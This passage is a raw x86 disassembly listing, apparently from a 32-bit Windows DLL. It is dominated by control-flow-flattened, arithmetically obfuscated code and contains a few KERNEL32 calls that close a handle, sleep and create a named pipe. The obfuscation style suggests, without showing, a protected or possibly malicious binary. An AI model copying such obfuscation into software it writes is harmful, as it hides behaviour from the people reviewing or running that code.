and edi, 0xc85e24fc
or esi, 0xc85e24fc
imul esi, edi
add esi, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x90], ecx
mov ecx, 0xd0521d68
mov edx, 0x224c0618
cmp esi, 0xa45aa4b5
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x9caa06d5
jmp 0x100b81ba
mov eax, dword [0x101d2a5c]
mov edx, dword [0x101d2a60]
mov ecx, eax
and ecx, edx
shl ecx, 1
xor eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0x553a4fab
sub eax, ecx
mov ecx, 0x4089803
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xbb2b5f61
mov edx, 0xffffffff
xor edx, 0xbb2b5f61
and eax, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0xc897fcf7
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc897fcf7
or eax, 0xc897fcf7
imul eax, edx
add eax, ecx
mov ecx, 0xdc08232f
xor edx, edx
div ecx
mov edx, 0xffffffff
xor edx, 0xe9233e34
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xe9233e34
add eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, 0xfdfa6db
and eax, 0xfdfa6db
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
and eax, 0x3fa27b8f
shl eax, 1
add ecx, 0x3fa27b8f
sub ecx, eax
and ecx, 0xa79248fb
sub ecx, 0xfb086cec
or ecx, 0x4f90e2b3
mov eax, ecx
or eax, 0xa87deb04
xor eax, 0xffffffff
or ecx, 0xa87deb04
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
or eax, 0xb4c794ae
mov ecx, 0x32bf970b
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x6d74f6af
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x6d74f6af
or eax, 0x6d74f6af
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xf746f0a
xor ecx, 0xffffffff
or eax, 0xf746f0a
and eax, ecx
mov ecx, 0xfdb42cb6
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x789246d9
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xa0], eax
mov esi, 0xffffffff
xor esi, 0x929e8851
mov edx, 0xffffffff
xor edx, 0xaee0f954
and eax, 0xaee0f954
and ecx, edx
mov edi, esi
and edi, 0xaee0f954
mov ebx, edx
and ebx, 0x929e8851
or eax, ecx
mov ecx, dword [ebp - 0xa0]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xaee0f954
and ecx, edx
or eax, ecx
and eax, 0xc4e6dbd1
mov ecx, 0x4dc50213
xor edx, edx
div ecx
mov esi, eax
sub esi, 0x805e5c25
sub esi, 0xd630be1a
add esi, 0x805e5c25
sub esi, 0x6fe9174c
mov eax, esi
xor eax, 0xffffffff
and eax, 0x4a3fc873
mov edx, 0xffffffff
xor edx, 0x4a3fc873
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xe0a14f4a
and ecx, 0x4a3fc873
and edx, 0xe0a14f4a
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xfc7ee16b
xor edx, edx
div ecx
and eax, 0x81131071
mov ecx, 0x996ec8f0
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xd07bd234
mov edx, 0xffffffff
xor edx, 0xd07bd234
and eax, edx
sub eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x4f90d75c
add eax, ecx
add eax, 1
sub eax, 0x30ed9dc2
add eax, 0x6763cd62
mov esi, 0xffffffff
xor esi, 0xc3512024
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc3512024
or eax, 0xc3512024
imul eax, edx
add eax, ecx
imul eax, eax, 0xfa7817f
mov edx, eax
xor edx, 0xffffffff
and edx, 0xcaa05b81
mov esi, 0xffffffff
xor esi, 0xcaa05b81
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xcaa05b81
or eax, 0xcaa05b81
imul eax, edx
add eax, ecx
imul eax, eax, 0x6204702f
mov edx, eax
xor edx, 0xffffffff
and edx, 0x8999c4bb
mov esi, 0xffffffff
xor esi, 0x8999c4bb
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x8999c4bb
or eax, 0x8999c4bb
imul eax, edx
add eax, ecx
add eax, 0xe867a9ff
add eax, 0xf56a6886
sub eax, 0x468c8566
sub eax, 0xfc2c1f0d
add eax, 0x468c8566
mov ecx, 0xb23219e6
xor edx, edx
div ecx
xor eax, 0xe9417d8e
xor eax, 0xa42edc4
imul ecx, eax, 0xe8d35eba
mov eax, ecx
or eax, 0xd7ab2521
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd7ab2521
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, 0x161bc985
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x60e1a6dd
mov ecx, 0xffffffff
xor ecx, 0xf50eb32b
or eax, edx
or ecx, 0xf50eb32b
xor eax, 0xffffffff
and eax, ecx
and eax, 0x3a91ffde
mov edx, eax
xor edx, 0xffffffff
and edx, 0xfcc20108
mov esi, 0xffffffff
xor esi, 0xfcc20108
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xfcc20108
or eax, 0xfcc20108
imul eax, edx
add eax, ecx
imul eax, eax, 0x1f282808
add eax, 0x8ce4f9cf
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xf809e144
mov edx, 0xffffffff
xor edx, 0xf809e144
and eax, edx
sub eax, ecx
sub eax, 0x58ef0aa5
mov edx, eax
xor edx, 0xffffffff
and edx, 0x89fe2902
mov esi, 0xffffffff
xor esi, 0x89fe2902
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x89fe2902
or eax, 0x89fe2902
imul eax, edx
add eax, ecx
mov ecx, 0xf5f60b38
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov esi, 0xffffffff
xor esi, 0xfee947aa
mov edx, ecx
and edx, esi
mov esi, ecx
xor esi, 0xfee947aa
add ecx, esi
sub ecx, edx
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7cadc69a
mov esi, 0xffffffff
xor esi, 0x7cadc69a
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
sub ecx, 0x6871fc4f
and ecx, 0x2c6cf294
sub ecx, 0x8c9e703a
imul esi, ecx, 0xeb931996
mov ecx, 0xd2613130
mov edx, 0x244c9295
cmp esi, 0x3663e5d1
cmova ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [0x101d2a64]
xor eax, dword [0x101d2a68]
mov edx, 0xffffffff
xor edx, 0x9871a7af
mov ecx, eax
xor ecx, edx
and ecx, eax
mov esi, 0xffffffff
xor esi, 0x131636a9
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x131636a9
or ecx, 0x131636a9
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0xbf84f483
xor eax, 0xffffffff
add ecx, 0xbf84f483
add ecx, 1
add ecx, eax
mov eax, ecx
and eax, 0xc0c76e47
xor ecx, 0xc0c76e47
or eax, ecx
add eax, 0x462e9bca
xor eax, 0x1a20fece
add eax, 0xcfe55df0
mov ecx, eax
and ecx, 0xa39de674
shl ecx, 1
add eax, 0xa39de674
sub eax, ecx
mov ecx, 0xad1326b3
xor edx, edx
div ecx
sub eax, 0x5638589a
add eax, 0xa3114689
add eax, 0x5638589a
mov ecx, 0x745af657
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x2b7b1708
xor ecx, 0xffffffff
and ecx, 0x2b7b1708
shl ecx, 1
sub ecx, 0x2b7b1708
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xeec64fb
and ecx, edx
or eax, 0xeec64fb
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xa8], eax
mov esi, 0xffffffff
xor esi, 0xd0333625
mov edx, 0xffffffff
xor edx, 0xcb6b1324
and eax, 0xcb6b1324
and ecx, edx
mov edi, esi
and edi, 0xcb6b1324
mov ebx, edx
and ebx, 0xd0333625
or eax, ecx
mov ecx, dword [ebp - 0xa8]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xcb6b1324
and ecx, edx
or eax, ecx
and eax, 0xf1c11f3d
mov esi, 0xffffffff
xor esi, 0xf518f6f2
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf518f6f2
or eax, 0xf518f6f2
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0x3d26cbf7
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x3d26cbf7
or eax, 0x3d26cbf7
imul eax, edx
add eax, ecx
add eax, 0x28dc0377
mov ecx, 0x1e484d0
xor edx, edx
div ecx
or eax, 0xd417a523
or eax, 0xbffb78a5
mov ecx, 0x1283cea
xor edx, edx
div ecx
mov ecx, 0x3e2f5e43
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x1c021742
add ecx, 0xc69f6c55
sub ecx, 0x1c021742
mov esi, 0xffffffff
xor esi, 0xf78c9e11
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xf78c9e11
or ecx, 0xf78c9e11
imul ecx, edx
add ecx, eax
sub ecx, 0x2bee3112
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa3df38c7
mov edx, 0xffffffff
xor edx, 0xa3df38c7
and ecx, edx
or eax, ecx
or eax, 0xf7ce960
or eax, 0xc8f01b12
mov ecx, 0x1b34f71b
xor edx, edx
div ecx
mov ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xe8b6520b
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x57cb07f0
mov esi, 0xffffffff
xor esi, 0x57cb07f0
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x57cb07f0
or ecx, 0x57cb07f0
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xf1c7e052
or ecx, 0xf1c7e052
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
and eax, 0xa79deb8c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x6c6e2abb
mov edx, 0xffffffff
xor edx, 0x6c6e2abb
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x203b8519
or ecx, 0x203b8519
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov edx, 0xffffffff
xor edx, 0xde4b2826
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xde4b2826
add eax, edx
sub eax, ecx
add eax, 0x1d57d869
sub eax, 0xb6b5bf9f
add eax, 0xada728c9
add eax, 0xb6b5bf9f
sub eax, 0xa593ba4e
or eax, 0xac0f43aa
xor eax, 0x8b735e6e
mov ecx, 0x5bf57ab2
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xe0839219
add eax, ecx
mov ecx, 0x1367670
xor edx, edx
div ecx
imul eax, eax, 0x10b75bc7
add eax, 0x93c1597f
mov ecx, 0x30f0583e
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x90]
mov esi, 0xffffffff
xor esi, 0xb75d74f2
mov ecx, edx
xor ecx, esi
and ecx, edx
add ecx, 0x3a3ffe3d
mov edi, 0xffffffff
xor edi, 0xe828fa07
mov esi, ecx
and esi, edi
mov edx, ecx
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, ecx
and esi, 0xe828fa07
or ecx, 0xe828fa07
imul ecx, esi
add ecx, edx
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 0xe5fb77b8
add edx, ecx
xor ecx, ecx
sub ecx, edx
imul edx, ecx, 0xd8db4426
mov ecx, edx
xor ecx, 0x3c005c01
xor ecx, 0xffffffff
and ecx, 0x3c005c01
shl ecx, 1
sub ecx, 0x3c005c01
sub edx, ecx
sub edx, 0x9ac0f33d
mov ecx, edx
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xb8fdedb4
and ecx, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xb8fdedb4
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
imul esi, ecx, 0x2ed9d52d
or esi, 0x671f695b
add esi, 0x4e3576f8
xor esi, 0xa4f5f35c
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x60]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [ebp - 0x68]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov edx, 0xffffffff
cmp ecx, edx
setne cl
mov byte [ebp - 0xa1], cl
mov ecx, 0xc72d9b34
mov edx, 0xd2613130
cmp esi, 0xebc75320
cmove ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xec513dc7
jmp 0x100b81ba
mov eax, dword [0x101d2a6c]
mov ecx, dword [0x101d2a70]
add eax, 0x31e9a04
add eax, ecx
sub eax, 0x31e9a04
mov esi, 0xffffffff
xor esi, 0x8d50265b
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8d50265b
or eax, 0x8d50265b
imul eax, edx
add eax, ecx
mov esi, eax
or esi, esi
xor esi, 0xffffffff
mov ecx, 0x695e3f75
or ecx, 0x695e3f75
xor ecx, 0xffffffff
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
or eax, 0x695e3f75
xor eax, 0xffffffff
or esi, eax
xor esi, 0xffffffff
mov eax, esi
xor eax, 0xffffffff
and eax, 0x3e627ec
mov edx, 0xffffffff
xor edx, 0x3e627ec
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xe906a23e
and ecx, 0x3e627ec
and edx, 0xe906a23e
or eax, esi
or ecx, edx
xor eax, ecx
and eax, 0x9e42be27
add eax, 0x265832a1
mov ecx, 0xffffffff
xor ecx, 0x22b514c2
add eax, ecx
add eax, 1
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0x712b3a87
or edx, 0x712b3a87
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
or eax, 0x712b3a87
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xcf5669c1
or edx, 0xcf5669c1
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcf5669c1
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xbe11b830
sub eax, 0x8f479ffb
imul eax, eax, 0x1d320156
sub eax, 0x52faf5af
and eax, 0x7ccc85e0
xor ecx, ecx
sub ecx, 0x3904ee55
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xb60ec7e9
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xb60ec7e9
or eax, 0xb60ec7e9
imul eax, edx
add eax, ecx
add eax, 0xd3eeafdf
mov ecx, 0xffffffff
xor ecx, 0xf7fbf8e
add eax, ecx
add eax, 1
imul eax, eax, 0x491853bb
mov ecx, 0xf2e22dd5
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1c23db09
mov esi, 0xffffffff
xor esi, 0x1c23db09
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1c23db09
or eax, 0x1c23db09
imul eax, edx
add eax, ecx
add eax, 0x8dc78746
xor ecx, ecx
sub ecx, 0x4a40ff12
sub eax, ecx
mov ecx, eax
and ecx, 0x642b6134
xor ecx, 0xffffffff
add eax, 0x642b6134
add eax, 1
add eax, ecx
mov ecx, eax
and ecx, 0x5e453c99
shl ecx, 1
add eax, 0x5e453c99
sub eax, ecx
mov ecx, eax
and ecx, 0x53b3f3e3
shl ecx, 1
add eax, 0x53b3f3e3
sub eax, ecx
mov ecx, 0x4c5ca060
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xe5cc9dcf
or edx, 0xe5cc9dcf
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0xe5cc9dcf
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x582c1c2e
xor edx, edx
div ecx
add eax, 0x111a83ac
imul eax, eax, 0xe788aa76
mov edx, eax
xor edx, 0xffffffff
and edx, 0xb0cf8f7d
mov esi, 0xffffffff
xor esi, 0xb0cf8f7d
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xb0cf8f7d
or eax, 0xb0cf8f7d
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x845f0b5
shl ecx, 1
xor eax, 0x845f0b5
add eax, ecx
mov ecx, eax
xor ecx, 0xbc70a617
xor ecx, 0xffffffff
and ecx, 0xbc70a617
shl ecx, 1
sub ecx, 0xbc70a617
sub eax, ecx
mov ecx, 0x10d21c97
xor edx, edx
div ecx
imul eax, eax, 0xa8ca7679
mov esi, 0xffffffff
xor esi, 0x168202e7
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x168202e7
or eax, 0x168202e7
imul eax, edx
add eax, ecx
add eax, 0xe3c2ee8
add eax, 0xa34cd249
sub eax, 0x49b08103
sub eax, 0xa34cd249
sub eax, 0x69a0e01a
add eax, 0x9a7c3722
mov edx, eax
xor edx, 0xffffffff
and edx, 0x538e8581
mov esi, 0xffffffff
xor esi, 0x538e8581
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x538e8581
or eax, 0x538e8581
imul eax, edx
add eax, ecx
mov ecx, 0xeee5d433
xor edx, edx
div ecx
mov ecx, 0xd90fe61c
xor edx, edx
div ecx
imul eax, eax, 0xeeb762ad
add eax, 0xf29a2168
add eax, 0x6ad3887
sub eax, 0xf29a2168
or eax, 0xb46d4348
mov edx, eax
xor edx, 0xffffffff
and edx, 0xbdaa090b
mov esi, 0xffffffff
xor esi, 0xbdaa090b
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xbdaa090b
or eax, 0xbdaa090b
imul eax, edx
add eax, ecx
mov ecx, 0xaf277bb6
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x3c38c520
or ecx, 0x3c38c520
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd761e649
mov esi, 0xffffffff
xor esi, 0xd761e649
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xd761e649
or eax, 0xd761e649
imul eax, edx
add eax, ecx
sub eax, 0x772668ac
sub eax, 0x9f205dc8
add eax, 0xa6ed57f2
add eax, 0x9f205dc8
mov ecx, 0xd448e9ee
xor edx, edx
div ecx
and eax, 0xa5e74cb
sub eax, 0x18c95ca3
mov edx, eax
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xfa5e5abb
mov esi, 0xffffffff
xor esi, 0x8217884c
mov ecx, edx
and ecx, 0x8217884c
and eax, esi
mov dword [ebp - 0xb0], eax
mov ebx, edi
and ebx, 0x8217884c
mov eax, esi
and eax, 0xfa5e5abb
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xb0]
or ecx, eax
mov eax, dword [ebp - 0xac]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x8217884c
and edx, esi
or ecx, edx
mov edx, ecx
and edx, 0x94d29a9b
shl edx, 1
add ecx, 0x94d29a9b
sub ecx, edx
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0x3c1e47ea
or edx, 0x3c1e47ea
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
xor ecx, 0x5854c01b
imul esi, ecx, 0xb5cd064
mov ecx, 0xbfb962d3
mov edx, 0xbe37935a
cmp esi, 0xab921a3a
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [0x101d2a74]
mov edx, dword [0x101d2a78]
mov ecx, eax
xor ecx, edx
xor edx, 0xffffffff
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xeef45008
mov edx, 0xffffffff
xor edx, 0xeef45008
and eax, edx
sub eax, ecx
mov ecx, 0x24bd72c8
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x4f0bc904
or ecx, 0x4f0bc904
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or eax, 0x7b3dc863
mov ecx, eax
and ecx, 0x55c93de9
xor ecx, 0xffffffff
add eax, 0x55c93de9
add eax, 1
add eax, ecx
and eax, 0xf705f7cf
add eax, 0xb1b382cb
sub eax, 0xa5963501
mov ecx, 0x41fe1537
xor edx, edx
div ecx
mov ecx, 0x56e2ad53
xor edx, edx
div ecx
mov ecx, 0xc0e42b78
xor edx, edx
div ecx
or eax, 0x444fa588
or eax, 0x50bb9d47
add eax, 0x9987e4bc
mov edx, 0xffffffff
xor edx, 0x3fd79e4c
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x3fd79e4c
add eax, edx
sub eax, ecx
or eax, 0xde65495c
mov ecx, 0xce227143
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xe9ff69d7
mov edx, 0xffffffff
xor edx, 0xe9ff69d7
and eax, edx
sub eax, ecx
mov ecx, 0xc7c855fb
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xa5431093
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa5431093
or eax, 0xa5431093
imul eax, edx
add eax, ecx
xor eax, 0xebef2963
mov edx, 0xffffffff
xor edx, 0x9f53a76c
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x9f53a76c
add eax, edx
sub eax, ecx
mov ecx, 0xa5fb468d
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x377cbc57
add eax, ecx
add eax, 1
mov ecx, 0xa51f59bc
xor edx, edx
div ecx
or eax, 0x72af45d
mov ecx, eax
xor ecx, 0x21e9e319
xor ecx, 0xffffffff
and ecx, 0x21e9e319
shl ecx, 1
sub ecx, 0x21e9e319
sub eax, ecx
mov ecx, 0x8e99b9f2
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x496913be
xor ecx, 0xffffffff
and ecx, 0x496913be
shl ecx, 1
sub ecx, 0x496913be
sub eax, ecx
imul ecx, eax, 0xd33662c8
mov edx, 0xffffffff
xor edx, 0x708633f
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x708633f
add ecx, edx
sub ecx, eax
mov eax, ecx
and eax, 0x2868d7be
xor ecx, 0x2868d7be
or eax, ecx
sub eax, 0xf1229d1d
sub eax, 0xdb25d58b
add eax, 0xf1229d1d
mov ecx, eax
and ecx, 0x3b40b180
xor ecx, 0xffffffff
add eax, 0x3b40b180
add eax, 1
add eax, ecx
add eax, 0x498aa768
add eax, 0x44b14c13
sub eax, 0x498aa768
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe4a6ab29
mov ecx, 0xffffffff
xor ecx, 0xe4a6ab29
and eax, ecx
or edx, eax
and edx, 0xc40d811a
add edx, 0xf8115dfe
mov esi, edx
xor esi, 0xffffffff
and esi, 0x8a0f03bf
mov ecx, 0xffffffff
xor ecx, 0x8a0f03bf
and edx, ecx
mov eax, 0xffffffff
xor eax, 0x29d7fd27
and eax, 0x8a0f03bf
and ecx, 0x29d7fd27
or esi, edx
or eax, ecx
xor esi, eax
add esi, 0xf731e4a5
xor esi, 0xe1c5ca98
mov eax, esi
xor eax, 0xffffffff
and eax, 0xc8ec2736
mov edx, 0xffffffff
xor edx, 0xc8ec2736
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x119aa4d3
and ecx, 0xc8ec2736
and edx, 0x119aa4d3
or eax, esi
or ecx, edx
xor eax, ecx
sub eax, 0xbdee564b
sub eax, 0x18912a70
sub eax, 0x3076b111
add eax, 0x18912a70
mov ecx, 0x4b16f346
xor edx, edx
div ecx
mov ecx, 0x7bd8863
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x847f164e
xor ecx, 0x847f164e
or eax, ecx
xor eax, 0x66699fe2
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xb8d90073
mov edx, 0xffffffff
xor edx, 0xb8d90073
and eax, edx
sub eax, ecx
mov ecx, 0x9b4454df
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xde782d8e
shl ecx, 1
add eax, 0xde782d8e
sub eax, ecx
or eax, 0x998664ab
mov ecx, eax
xor ecx, 0x3798586a
mov edx, 0xffffffff
xor edx, 0x3798586a
and eax, edx
shl eax, 1
sub eax, ecx
or eax, 0x70f6d1d4
mov esi, 0xffffffff
xor esi, 0x8f4408e3
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8f4408e3
or eax, 0x8f4408e3
imul eax, edx
add eax, ecx
mov ecx, 0xb8b2223e
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, esi
xor ecx, 0x6c282e72
xor ecx, 0xffffffff
or esi, 0x6c282e72
and esi, ecx
or esi, 0xb258eafe
sub esi, 0x2ebace52
sub esi, 0x42b03784
add esi, 0x2ebace52
add esi, 0x23859ee0
mov ecx, 0xbe37935a
mov edx, 0x2c32ce22
cmp esi, 0x3e034f9f
cmova ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0xa1]
mov ecx, 0xb1ce3a67
mov edx, 0x6c3c744e
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], 1
mov dword [eax], 0x6a3a1d18
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x2f1f3a59
jmp 0x100b81ba
mov eax, dword [0x101d2a7c]
and eax, dword [0x101d2a80]
and eax, 0xe7a5e896
mov ecx, 0xbd67bd91
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xcc644fed
mov esi, 0xffffffff
xor esi, 0xcc644fed
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xcc644fed
or ecx, 0xcc644fed
imul ecx, edx
add ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xb791fa17
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xb8], eax
mov esi, 0xffffffff
xor esi, 0x7a378768
mov edx, 0xffffffff
xor edx, 0x482a215f
and eax, 0x482a215f
and ecx, edx
mov edi, esi
and edi, 0x482a215f
mov ebx, edx
and ebx, 0x7a378768
or eax, ecx
mov ecx, dword [ebp - 0xb8]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x482a215f
and ecx, edx
or eax, ecx
mov esi, 0xffffffff
xor esi, 0xfee63db3
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xfee63db3
or eax, 0xfee63db3
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x5912f427
or eax, 0x5912f427
add ecx, eax
mov esi, 0xffffffff
